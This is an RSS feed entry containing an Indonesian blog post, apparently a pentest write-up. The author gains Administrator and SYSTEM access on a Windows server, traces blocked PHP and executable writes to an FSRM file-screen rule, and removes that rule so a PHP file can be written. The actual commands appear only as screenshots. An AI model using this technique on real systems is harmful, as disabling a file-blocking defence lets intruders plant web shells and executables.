		<pubDate>Fri, 15 Nov 2024 11:26:38 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=328</guid>

					<description><![CDATA[<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="628" height="211" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png" alt="" class="wp-image-330" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png 628w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131-300x101.png 300w" sizes="auto, (max-width: 628px) 100vw, 628px" /></figure>



<p>Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena disini mendapatkan privilege sebagai administrator mudah saja untuk mengubah permission pada directory</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="574" height="197" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png" alt="" class="wp-image-331" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png 574w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228-300x103.png 300w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>



<p>Melakukan reverse shell connection dan melihat permission directory sempat bingung karena tidak ada pembatasan permission pada directory <em><strong>xampp</strong></em> di satu sisi untuk file dengan extenstion lain yang tidak berbahaya seperti .txt, .jpg dan semacamnya itu bisa dilakukan write</p>



<p>Berfikir sejenak dan terfikir menjalankan nmap untuk melihat service yang running.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="599" height="165" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png" alt="" class="wp-image-332" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png 599w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634-300x83.png 300w" sizes="auto, (max-width: 599px) 100vw, 599px" /></figure>



<p>Hoki sekali port 3389 RDP terbuka, karena kebanyakan windows server semacam ini menggunakan relay untuk menerima request yang masuk dari public network dan jarang sekali melakukan port forwarding 3389 melalui relay yang dijadikan reverse proxy</p>



<p>Langsung saja login RDP, karena privilege yang didapatkan yakni Administrator kita dengan mudah bisa membuat user baru menggunakan command <em><strong>net user</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="587" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png" alt="" class="wp-image-333" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-300x172.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-768x441.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>oke masuk, hal pertama yang ku lakukan yaitu langsung membuka console powershell dengan hak Administrator dan mencoba untuk masuk pada system account melalui <strong><em>PsExec</em></strong>. <strong><em>NT/SYTEM</em></strong> itu merupakan permission tertinggi pada windwos</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="493" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png" alt="" class="wp-image-334" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png 493w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559-300x151.png 300w" sizes="auto, (max-width: 493px) 100vw, 493px" /></figure>



<p>Terlihat jika pada directory <em><strong>C:\inetpub </strong></em>kita bisa execute dan write .exe file</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="278" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png" alt="" class="wp-image-335" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927-300x137.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Wah tetap saja padahal disini kita sudah memakai system account dan juga owner directory itu milik system, ada yang ga beres sepertinya </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="250" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png" alt="" class="wp-image-336" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-768x230.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Program yang terinstall juga sangat sedikit yang hanya dipakai keperluan deployment dan tidak menunjukkan adanya antivirus third-party software </p>



<p>Dan disini aku langsung coba cek dari event log pada windows untuk identifikasi lebih lanjut</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="722" height="312" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png" alt="" class="wp-image-337" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png 722w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-300x130.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-720x312.png 720w" sizes="auto, (max-width: 722px) 100vw, 722px" /></figure>



<p>Indikasi dari event log application terdapat warning dengan deskripsi<em> file group which is not permitted on the system.</em> dan pada bagian source yang berasal dari service <strong><em>SRMSVC</em></strong></p>



<p><strong><em>SRMSVC</em></strong> itu merupakan source event log yang berasal dari <em><strong>FSRM</strong></em>(File Server Resource Manager), FSRM sendiri dipakai untuk management filesystem pada windows server. sekarang kita lihat konfigurasi registry dari SRMSVC pada path <em><strong>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\srmsvc</strong></em>\</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1013" height="514" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png" alt="" class="wp-image-339" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png 1013w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-768x390.png 768w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></figure>



<p>Tidak ada konfigurasi khusus yang terdapat pada hive registry <strong><em>SRMSVC</em></strong> dan disini sempat stuck sedikit dan lalu ingat jika <strong><em>SRMSVC</em></strong> merupakan source log pada <em><strong>FSRM</strong></em> yang harusnya konfigurasi terletak pada service <em><strong>FSRM</strong></em> itu sendiri</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png" alt="" class="wp-image-342" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png 831w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-300x197.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-768x506.png 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>Jika di lihat dari basic setting <em><strong>FSRM</strong></em>  tidak ada rules khusus tapi jika kita lihat pada konfigurasi file screen dengan command <em>Get-FsrmFileScreen</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="494" height="199" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png" alt="" class="wp-image-343" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png 494w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951-300x121.png 300w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>



<p>ya itu dia, jadi disini ada rule khusus untuk ignore atau menolak file berbahaya dengan keterangan <strong><em>Block Executable Files</em></strong> jadi disini bisa langsung saja dilakukan disable maupun remove atau kita juga bisa melihat rule FSRM ini pada server manager</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="356" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png" alt="" class="wp-image-344" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-300x104.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-768x267.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>Disini langsung ku lakukan remove rule menggunakan powershell</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="704" height="152" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png" alt="" class="wp-image-345" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png 704w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613-300x65.png 300w" sizes="auto, (max-width: 704px) 100vw, 704px" /></figure>



<p>Setelah itu lalu kita coba write .php file pada directory xampp </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="708" height="202" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png" alt="" class="wp-image-346" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png 708w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738-300x86.png 300w" sizes="auto, (max-width: 708px) 100vw, 708px" /></figure>



<p>Dan itu berhasil, terlihat disini tidak ada error dan kita bisa menulis suatu php file pada directory. Mungkin cukup disini cerita singkat ku pada saat melakukan pentesting dan disini aku hanya sekedar sharing yang mungkin berguna saat kalian mengalami hal yang sama, sekian happy hacking guyss <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em><strong>“Tidak ada yang akan berhasil kecuali kau melakukannya.”</strong></em> <em>-Maya Angelou</em></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
